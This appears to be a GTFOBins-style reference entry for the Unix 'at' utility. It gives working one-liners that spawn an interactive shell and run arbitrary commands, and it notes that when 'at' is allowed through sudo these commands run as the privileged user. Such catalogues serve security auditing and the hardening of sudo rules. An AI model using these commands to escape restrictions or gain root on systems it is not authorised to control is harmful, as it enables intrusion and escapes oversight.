at
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/nullThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
Command
This executable can run non-interactive system commands.
- This function can be performed by any unprivileged user.
echo /path/to/command | at nowThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.echo /path/to/command | at now